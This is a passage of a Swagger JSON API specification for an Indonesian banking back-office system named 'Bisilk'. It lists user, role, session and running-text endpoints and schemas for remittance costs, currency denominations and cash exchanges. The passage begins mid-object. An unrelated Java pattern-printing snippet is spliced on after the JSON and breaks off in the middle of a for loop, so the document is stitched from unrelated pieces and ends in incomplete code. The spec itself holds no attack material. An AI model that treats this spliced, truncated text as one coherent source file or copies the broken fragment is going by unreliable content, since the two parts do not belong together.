Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/role/update":{"put":{"tags":["Management Role Bisilk"],"summary":"mengubah role pada database","operationId":"updateUsingPUT_5","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"update","description":"update","required":true,"schema":{"$ref":"#/definitions/RoleUpdate"}}],"responses":{"200":{"description":"OK","schema":{"type":"object"}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/runningtext/aktif":{"post":{"tags":["running-text-endpoint"],"summary":"getAllRunningTextNotExpired","operationId":"getAllRunningTextNotExpiredUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/RunningTextAktifRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/runningtext/delete":{"put":{"tags":["running-text-endpoint"],"summary":"delete","operationId":"deleteUsingPUT_3","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/IdRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/runningtext/find":{"post":{"tags":["running-text-endpoint"],"summary":"find","operationId":"findUsingPOST_2","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/IdRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/runningtext/insert":{"post":{"tags":["running-text-endpoint"],"summary":"insert","operationId":"insertUsingPOST_2","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/RunningTextRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/runningtext/search":{"post":{"tags":["running-text-endpoint"],"summary":"search","operationId":"searchUsingPOST_5","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":false,"schema":{"$ref":"#/definitions/RunningTextSearchRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/runningtext/status":{"post":{"tags":["running-text-endpoint"],"summary":"getStatus","operationId":"getStatusUsingPOST","consumes":["application/json"],"produces":["application/json"],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/runningtext/update":{"put":{"tags":["running-text-endpoint"],"summary":"update","operationId":"updateUsingPUT_6","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/RunningTextUpdateRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/session/findbyid":{"post":{"tags":["Management Session Bisilk"],"summary":"Retrive Session  by Id","operationId":"findbysessionidUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"requestId","description":"requestId","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/session/findbyuserid":{"post":{"tags":["Management Session Bisilk"],"summary":"Retrive Session by User Id","operationId":"findbyuseridUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"requestId","description":"requestId","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/change_password":{"put":{"tags":["Management Data Users Bisilk"],"summary":"changepassword","operationId":"changepasswordUsingPUT","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"login","description":"login","required":true,"schema":{"$ref":"#/definitions/TokenRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/delete":{"delete":{"tags":["Management Data Users Bisilk"],"summary":"Menghapus user pada database","operationId":"deleteuserUsingDELETE","produces":["*/*"],"parameters":[{"in":"body","name":"id","description":"id","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"204":{"description":"No Content"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/encodepassword":{"post":{"tags":["Management Data Users Bisilk"],"summary":"encode Password","operationId":"encodesUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"name":"password","in":"query","description":"password","required":true,"type":"string"}],"responses":{"200":{"description":"OK","schema":{"type":"string"}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/forgot_password":{"post":{"tags":["Management Data Users Bisilk"],"summary":"Lupa Password","operationId":"forgetpasswordUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/ForgotPasswordRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object"}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/getuserbyid":{"post":{"tags":["Management Data Users Bisilk"],"summary":"Retrive data user berdasarkan id user","operationId":"finduserbyidUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"id","description":"id","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/menu":{"post":{"tags":["Management Data Users Bisilk"],"summary":"memanggil semua menu berdasarkan email login","operationId":"findallmenubyemailUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/EmailRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object"}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/menu/validate":{"post":{"tags":["Management Data Users Bisilk"],"summary":"validasi menu pada user","operationId":"validatemenuuserUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/UserMenuRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object"}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/refreshtoken":{"post":{"tags":["Management Data Users Bisilk"],"summary":"refresh user token","operationId":"refreshtokenUsingPOST","consumes":["application/json"],"produces":["application/json"],"responses":{"200":{"description":"OK"},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/register":{"post":{"tags":["Management Data Users Bisilk"],"summary":"Menambah user pada database","operationId":"adduserUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/UserRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/reset_password":{"put":{"tags":["Management Data Users Bisilk"],"summary":"Reset Password","operationId":"resetpasswordUsingPUT","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"update","description":"update","required":true,"schema":{"$ref":"#/definitions/TokenRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object"}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/search":{"post":{"tags":["Management Data Users Bisilk"],"summary":"Retrive semua data user berdasarkan predicate dan pagination","operationId":"findalluserwithfilterandpaginationUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"page","description":"page","required":true,"schema":{"$ref":"#/definitions/UserPage"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/search_ldap":{"post":{"tags":["Management Data Users Bisilk"],"summary":"Retrive LDAP User","operationId":"retriveldapuserUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"email","description":"email","required":true,"schema":{"$ref":"#/definitions/EmailRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object"}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]},"options":{"tags":["Management Data Users Bisilk"],"summary":"Retrive LDAP User","operationId":"retriveldapuserUsingOPTIONS","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"email","description":"email","required":true,"schema":{"$ref":"#/definitions/EmailRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object"}},"204":{"description":"No Content"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/user/update":{"put":{"tags":["Management Data Users Bisilk"],"summary":"Mengubah user pada database","operationId":"edituserUsingPUT","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"update","description":"update","required":true,"schema":{"$ref":"#/definitions/UserUpdate"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}}},"securityDefinitions":{"JWT":{"type":"apiKey","name":"Authorization","in":"header"},"X-Platform":{"type":"apiKey","name":"X-Platform","in":"header"},"X-Request-Id":{"type":"apiKey","name":"X-Request-Id","in":"header"}},"definitions":{"AcclistUpdateRequest":{"type":"object","properties":{"actionIds":{"type":"array","items":{"type":"integer","format":"int32"}},"menuIds":{"type":"array","items":{"type":"integer","format":"int32"}},"roleId":{"type":"integer","format":"int32"}},"title":"AcclistUpdateRequest"},"ActionRequest":{"type":"object","properties":{"action_name":{"type":"string","description":"Name"},"targetMethod":{"type":"string","description":"TargetMethod"},"targetUrl":{"type":"string","description":"TargetUrl"}},"title":"ActionRequest"},"ActionUpdate":{"type":"object","properties":{"action_name":{"type":"string","description":"Name"},"actionid":{"type":"integer","format":"int32","description":"ActionId"},"targetMethod":{"type":"string","description":"TargetMethod"},"targetUrl":{"type":"string","description":"TargetUrl"}},"title":"ActionUpdate"},"ActionsPage":{"type":"object","properties":{"Name":{"type":"string","description":"Name"},"TargetMethod":{"type":"string","description":"TargetMethod"},"TargetUrl":{"type":"string","description":"TargetUrl"},"entriesPerPage":{"type":"integer","format":"int32"},"pageNo":{"type":"integer","format":"int32"}},"title":"ActionsPage"},"ApproveModel":{"type":"object","properties":{"id":{"type":"integer","format":"int64"},"kategori":{"type":"string"},"status":{"type":"string"},"user_id":{"type":"integer","format":"int32"}},"title":"ApproveModel"},"AuditTrailsPage":{"type":"object","properties":{"ActionId":{"type":"integer","format":"int32"},"Email":{"type":"string"},"EndDate":{"type":"string"},"IpAddress":{"type":"string"},"StartDate":{"type":"string"},"UserName":{"type":"string"}},"title":"AuditTrailsPage"},"BFinansialpage":{"type":"object","properties":{"bulan":{"type":"integer","format":"int32"},"entriesPerPage":{"type":"integer","format":"int32"},"id":{"type":"integer","format":"int64"},"jenis_biaya":{"type":"string"},"kastip_id":{"type":"integer","format":"int64"},"no_akun":{"type":"string"},"no_coa":{"type":"string"},"pageNo":{"type":"integer","format":"int32"},"status":{"type":"string"},"tahun":{"type":"integer","format":"int32"}},"title":"BFinansialpage"},"BiayaRemiseApproverRequest":{"type":"object","properties":{"approveBy":{"type":"string"},"biayaRemiseId":{"type":"integer","format":"int64"},"status":{"type":"string","enum":["DISETUJUI","DITOLAK","MENUNGGU_APPROVAL"]}},"title":"BiayaRemiseApproverRequest"},"BiayaRemiseRequest":{"type":"object","properties":{"biayaAkomodasi":{"type":"integer","format":"int64"},"biayaAngkut":{"type":"integer","format":"int64"},"biayaAsuransi":{"type":"integer","format":"int64"},"biayaLainnya":{"type":"integer","format":"int64"},"biayaLumsunPerjalananDinas":{"type":"integer","format":"int64"},"biayaPengamanan":{"type":"integer","format":"int64"},"biayaTransportasi":{"type":"integer","format":"int64"},"deskripsi":{"type":"string"},"isActive":{"type":"boolean"},"jenisRemise":{"type":"string","enum":["PENGAMBILAN_UANG","PENGIRIMAN_UANG"]},"kasTitipanId":{"type":"integer","format":"int64"},"tanggalAkhir":{"type":"string","format":"date"},"tanggalMulai":{"type":"string","format":"date"}},"title":"BiayaRemiseRequest"},"BiayaRemiseSearchRequest":{"type":"object","properties":{"EntriesPerPage":{"type":"integer","format":"int32"},"PageNo":{"type":"integer","format":"int32"},"jenisRemise":{"type":"string"},"kasTitipanId":{"type":"integer","format":"int64"},"status":{"type":"string"},"tanggalAkhir":{"type":"string","format":"date"},"tanggalMulai":{"type":"string","format":"date"},"total":{"type":"integer","format":"int64"}},"title":"BiayaRemiseSearchRequest"},"BiayaRemiseUpdateRequest":{"type":"object","properties":{"biayaAkomodasi":{"type":"integer","format":"int64"},"biayaAngkut":{"type":"integer","format":"int64"},"biayaAsuransi":{"type":"integer","format":"int64"},"biayaLainnya":{"type":"integer","format":"int64"},"biayaLumsunPerjalananDinas":{"type":"integer","format":"int64"},"biayaPengamanan":{"type":"integer","format":"int64"},"biayaRemiseId":{"type":"integer","format":"int64"},"biayaTransportasi":{"type":"integer","format":"int64"},"deskripsi":{"type":"string"},"isActive":{"type":"boolean"},"jenisRemise":{"type":"string","enum":["PENGAMBILAN_UANG","PENGIRIMAN_UANG"]},"kasTitipanId":{"type":"integer","format":"int64"},"tanggalAkhir":{"type":"string","format":"date"},"tanggalMulai":{"type":"string","format":"date"}},"title":"BiayaRemiseUpdateRequest"},"EmailRequest":{"type":"object","properties":{"email":{"type":"string"}},"title":"EmailRequest"},"ForgotPasswordRequest":{"type":"object","properties":{"email":{"type":"string","description":"email"}},"title":"ForgotPasswordRequest"},"HomeKontenPage":{"type":"object","properties":{"author":{"type":"string"},"description":{"type":"string"},"entriesPerPage":{"type":"integer","format":"int32"},"image":{"type":"string"},"menu":{"type":"string"},"pageNo":{"type":"integer","format":"int32"}},"title":"HomeKontenPage"},"IdRequest":{"type":"object","properties":{"runningTextId":{"type":"integer","format":"int64"}},"title":"IdRequest"},"KontenRequest":{"type":"object","properties":{"author":{"type":"string"},"description":{"type":"string"},"image":{"type":"string"},"menu":{"type":"string"}},"title":"KontenRequest"},"KontenUpdate":{"type":"object","properties":{"author":{"type":"string"},"description":{"type":"string"},"id":{"type":"integer","format":"int32"},"image":{"type":"string"},"menu":{"type":"string"}},"title":"KontenUpdate"},"KorespondensiBankDownloadRequest":{"type":"object","properties":{"kodeBank":{"type":"integer","format":"int64"},"korespondensiId":{"type":"integer","format":"int64"}},"title":"KorespondensiBankDownloadRequest"},"KorespondensiBankRequest":{"type":"object","properties":{"bankName":{"type":"string"},"kodeBank":{"type":"integer","format":"int64"}},"title":"KorespondensiBankRequest"},"KorespondensiRequest":{"type":"object","properties":{"base64File":{"type":"string"},"fileNameExtension":{"type":"string"},"korespondensibank":{"type":"array","items":{"$ref":"#/definitions/KorespondensiBankRequest"}},"nameFile":{"type":"string"},"size":{"type":"number","format":"double"}},"title":"KorespondensiRequest"},"KorespondensiSearchRequest":{"type":"object","properties":{"EntriesPerPage":{"type":"integer","format":"int32"},"PageNo":{"type":"integer","format":"int32"},"bankName":{"type":"string"},"fileNameExtension":{"type":"string"},"kodeBank":{"type":"integer","format":"int64"},"nameFile":{"type":"string"},"uploadDate":{"type":"string","example":"dd-MM-yyyy"}},"title":"KorespondensiSearchRequest"},"MenuRequest":{"type":"object","properties":{"iconHTML":{"type":"string","description":"iconHTML"},"isHidden":{"type":"boolean"},"name":{"type":"string"},"order":{"type":"integer","format":"int32"},"parentMenuId":{"type":"integer","format":"int32"},"targetUrl":{"type":"string"}},"title":"MenuRequest"},"MenuUpdate":{"type":"object","properties":{"iconHTML":{"type":"string","description":"iconHTML"},"isHidden":{"type":"boolean","description":"IsHidden"},"menu_name":{"type":"string","description":"Name"},"menuid":{"type":"integer","format":"int32","description":"MenuId"},"order":{"type":"integer","format":"int32","description":"Order"},"parentMenuId":{"type":"integer","format":"int32","description":"ParentMenuId"},"targetUrl":{"type":"string","description":"TargetUrl"}},"title":"MenuUpdate"},"MenusPage":{"type":"object","properties":{"IsHidden":{"type":"boolean"},"Name":{"type":"string"},"Order":{"type":"integer","format":"int32"},"ParrentId":{"type":"integer","format":"int32"},"TargetUrl":{"type":"string"}},"title":"MenusPage"},"OrgUpdate":{"type":"object","properties":{"org_kategori":{"type":"string"},"org_kode":{"type":"string"},"org_name":{"type":"string"},"organizationid":{"type":"integer","format":"int32"},"wilayah_id":{"type":"integer","format":"int32"}},"title":"OrgUpdate"},"OrganizationPage":{"type":"object","properties":{"Name":{"type":"string"},"entriesPerPage":{"type":"integer","format":"int32"}},"title":"OrganizationPage"},"OrganizationRequest":{"type":"object","properties":{"createdby":{"type":"integer","format":"int32"},"createddate":{"$ref":"#/definitions/Timestamp"},"org_kategori":{"type":"string"},"org_kode":{"type":"string"},"org_name":{"type":"string"},"wilayah_id":{"type":"integer","format":"int32"}},"title":"OrganizationRequest"},"ParameterModel":{"type":"object","properties":{"parameter_default_value":{"type":"string"},"parameter_name":{"type":"string"},"parameter_unit":{"type":"string"},"parameter_value":{"type":"string"}},"title":"ParameterModel"},"ParameterPage":{"type":"object","properties":{"entriesPerPage":{"type":"integer","format":"int32"},"pageNo":{"type":"integer","format":"int32"}},"title":"ParameterPage"},"PecahanIntegrationPenukaranKastip":{"type":"object","properties":{"nominal":{"type":"integer","format":"int64"},"year":{"type":"integer","format":"int32"}},"title":"PecahanIntegrationPenukaranKastip"},"PecahanPage":{"type":"object","properties":{"emission_Year":{"type":"string"},"entriesPerPage":{"type":"integer","format":"int32"},"nominal":{"type":"string"},"nominal_Code":{"type":"string"},"pageNo":{"type":"integer","format":"int32"},"status":{"type":"string"},"type":{"type":"string"}},"title":"PecahanPage"},"PecahanRequest":{"type":"object","properties":{"emission_Year":{"type":"integer","format":"int32"},"nominal":{"type":"integer","format":"int64"},"nominal_Code":{"type":"string"},"path_Back_Content":{"type":"string"},"path_Back_Content_Type":{"type":"string"},"path_Back_Ext":{"type":"string"},"path_Back_Name":{"type":"string"},"path_Front_Content":{"type":"string"},"path_Front_Content_Type":{"type":"string"},"path_Front_Ext":{"type":"string"},"path_Front_Name":{"type":"string"},"status":{"type":"string"},"tanggal_Batas_Setoran_Tidak_Berlaku":{"$ref":"#/definitions/Timestamp"},"tanggal_Batas_Tidak_Berlaku":{"$ref":"#/definitions/Timestamp"},"tanggal_Mulai_Berlaku":{"$ref":"#/definitions/Timestamp"},"type":{"type":"string","enum":["UK","UL"]}},"title":"PecahanRequest"},"PecahanRequestUpdate":{"type":"object","properties":{"emission_Year":{"type":"integer","format":"int32"},"id":{"type":"integer","format":"int32"},"nominal":{"type":"integer","format":"int64"},"nominal_Code":{"type":"string"},"path_Back_Content":{"type":"string"},"path_Back_Content_Type":{"type":"string"},"path_Back_Ext":{"type":"string"},"path_Back_Name":{"type":"string"},"path_Front_Content":{"type":"string"},"path_Front_Content_Type":{"type":"string"},"path_Front_Ext":{"type":"string"},"path_Front_Name":{"type":"string"},"status":{"type":"string"},"tanggal_Batas_Setoran_Tidak_Berlaku":{"$ref":"#/definitions/Timestamp"},"tanggal_Batas_Tidak_Berlaku":{"$ref":"#/definitions/Timestamp"},"tanggal_Mulai_Berlaku":{"$ref":"#/definitions/Timestamp"},"type":{"type":"string","enum":["UK","UL"]}},"title":"PecahanRequestUpdate"},"PenukaranKasTipApproverRequest":{"type":"object","properties":{"approveOrRejectBy":{"type":"string"},"penukaranKasTitipanId":{"type":"integer","format":"int64"},"status":{"type":"string","enum":["DISETUJUI","DITOLAK","MENUNGGU_APPROVAL"]}},"title":"PenukaranKasTipApproverRequest"},"PenukaranKasTipRequest":{"type":"object","properties":{"base64File":{"type":"string"},"fileNameExtension":{"type":"string"},"jumlahModalPenukaran":{"type":"integer","format":"int64"},"jumlahPenukar":{"type":"integer","format":"int64"},"kasTitipanId":{"type":"integer","format":"int64"},"kasTitipanName":{"type":"string"},"size":{"type":"number","format":"double"},"tanggalPenukaran":{"type":"string","example":"dd-MM-yyyy"},"tempatPenukaran":{"type":"string"},"uangKeluar":{"type":"array","items":{"$ref":"#/definitions/PenukaranKasTipUangRequest"}},"uangMasuk":{"type":"array","items":{"$ref":"#/definitions/PenukaranKasTipUangRequest"}}},"title":"PenukaranKasTipRequest"},"PenukaranKasTipSearchRequest":{"type":"object","properties":{"EntriesPerPage":{"type":"integer","format":"int32"},"PageNo":{"type":"integer","format":"int32"},"jumlahModalPenukaran":{"type":"integer","format":"int64"},"jumlahPenukar":{"type":"integer","format":"int64"},"kasTitipanName":{"type":"string"},"status":{"type":"string","enum":["DISETUJUI","DITOLAK","MENUNGGU_APPROVAL"]},"tanggalPenukaran":{"type":"string","example":"dd-MM-yyyy"},"tempatPenukaran":{"type":"string"}},"title":"PenukaranKasTipSearchRequest"},"PenukaranKasTipUangRequest":{"type":"object","properties":{"ammount":{"type":"integer","format":"int64"},"macamEmisi":{"type":"string","enum":["UK","UL"]},"macamEmisiDetail":{"type":"string"},"pecahan":{"type":"integer","format":"int32"},"tahunEmisi":{"type":"integer","format":"int32"},"tipeEmisi":{"type":"string","enum":["ULE","UTLE"]}},"title":"PenukaranKasTipUangRequest"},"PenukaranKasTipUpdateRequest":{"type":"object","properties":{"base64File":{"type":"string"},"fileNameExtension":{"type":"string"},"jumlahModalPenukaran":{"type":"integer","format":"int64"},"jumlahPenukar":{"type":"integer","format":"int64"},"kasTitipanId":{"type":"integer","format":"int64"},"kasTitipanName":{"type":"string"},"penukaranKasTitipanId":{"type":"integer","format":"int64"},"size":{"type":"number","format":"double"},"tanggalPenukaran":{"type":"string","example":"dd-MM-yyyy"},"tempatPenukaran":{"type":"string"},"uangKeluar":{"type":"array","items":{"$ref":"#/definitions/PenukaranKasTipUangRequest"}},"uangMasuk":{"type":"array","items":{"$ref":"#/definitions/PenukaranKasTipUangRequest"}}},"title":"PenukaranKasTipUpdateRequest"},"RequestId":{"type":"object","required":["id"],"properties":{"id":{"type":"object"}},"title":"RequestId"},"RoleRequest":{"type":"object","properties":{"Name":{"type":"string"}},"title":"RoleRequest"},"RoleUpdate":{"type":"object","properties":{"role_name":{"type":"string","description":"Name"},"roleid":{"type":"integer","format":"int32","description":"RoleId"}},"title":"RoleUpdate"},"RolesPage":{"type":"object","properties":{"entriesPerPage":{"type":"integer","format":"int32"},"name":{"type":"string"}},"title":"RolesPage"},"RunningTextAktifRequest":{"type":"object","required":["destination"],"properties":{"destination":{"type":"string"},"text":{"type":"string"}},"title":"RunningTextAktifRequest"},"RunningTextRequest":{"type":"object","properties":{"content":{"type":"string"},"destination":{"type":"string"},"endDate":{"type":"string","example":"dd-MM-yyyy"},"startDate":{"type":"string","example":"dd-MM-yyyy"}},"title":"RunningTextRequest"},"RunningTextSearchRequest":{"type":"object","properties":{"EntriesPerPage":{"type":"integer","format":"int32"},"PageNo":{"type":"integer","format":"int32"},"content":{"type":"string"},"destination":{"type":"string"},"endDate":{"type":"string","example":"dd-MM-yyyy"},"startDate":{"type":"string","example":"dd-MM-yyyy"},"status":{"type":"boolean"}},"title":"RunningTextSearchRequest"},"RunningTextUpdateRequest":{"type":"object","properties":{"content":{"type":"string"},"destination":{"type":"string"},"endDate":{"type":"string","example":"dd-MM-yyyy"},"runningTextId":{"type":"integer","format":"int64"},"startDate":{"type":"string","example":"dd-MM-yyyy"},"status":{"type":"boolean"}},"title":"RunningTextUpdateRequest"},"Timestamp":{"type":"object","properties":{"date":{"type":"integer","format":"int32"},"hours":{"type":"integer","format":"int32"},"minutes":{"type":"integer","format":"int32"},"month":{"type":"integer","format":"int32"},"nanos":{"type":"integer","format":"int32"},"seconds":{"type":"integer","format":"int32"},"time":{"type":"integer","format":"int64"},"year":{"type":"integer","format":"int32"}},"title":"Timestamp"},"TokenRequest":{"type":"object","properties":{"token":{"type":"string","description":"token"}},"title":"TokenRequest"},"UserMenuRequest":{"type":"object","properties":{"MenuUrl":{"type":"string","description":"MenuUrl"}},"title":"UserMenuRequest"},"UserPage":{"type":"object","properties":{"email":{"type":"string"},"entriesPerPage":{"type":"integer","format":"int32"},"isActive":{"type":"boolean"},"isLdap":{"type":"boolean"},"name":{"type":"string"},"nip":{"type":"string"},"noHp":{"type":"string"},"orgName":{"type":"string"},"pageNo":{"type":"integer","format":"int32"},"roleName":{"type":"string"},"satuanKerja":{"type":"string"},"userId":{"type":"integer","format":"int32"},"workUnit":{"type":"string"}},"title":"UserPage"},"UserRequest":{"type":"object","required":["email","imageUrl","isLdap","jabatan","name","nip","noHp","organizationCode","roleId","workUnit"],"properties":{"bank":{"type":"string"},"email":{"type":"string"},"imageUrl":{"type":"string"},"isActive":{"type":"boolean"},"isLdap":{"type":"boolean"},"jabatan":{"type":"string"},"name":{"type":"string"},"nip":{"type":"string"},"noHp":{"type":"string"},"organizationCode":{"type":"string"},"roleId":{"type":"integer","format":"int32"},"satuanKerja":{"type":"string"},"wilayahKerjaId":{"type":"integer","format":"int32"},"workUnit":{"type":"string"}},"title":"UserRequest"},"UserUpdate":{"type":"object","properties":{"bank":{"type":"string"},"email":{"type":"string","description":"email"},"imageUrl":{"type":"string","description":"imageUrl"},"isActive":{"type":"boolean","description":"isActive"},"isLdap":{"type":"boolean","description":"isLdap"},"jabatan":{"type":"string","description":"jabatan"},"name":{"type":"string","description":"name"},"nip":{"type":"string","description":"nip"},"noHp":{"type":"string","description":"noHp"},"organizationCode":{"type":"string","description":"organizationCode"},"roleId":{"type":"integer","format":"int32","description":"roleId"},"userId":{"type":"integer","format":"int32","description":"userId"},"wilayahKerjaId":{"type":"integer","format":"int32"},"workUnit":{"type":"string","description":"workUnit"}},"title":"UserUpdate"}}}
// Java Program to print pattern
// Number triangle pattern
import java.util.*;

public class GeeksForGeeks {
	// Function to demonstrate pattern
	public static void printPattern(int n)
	{
		int i, j;
		// outer loop to handle number of rows
		for (i = 1; i <= n; i++) {
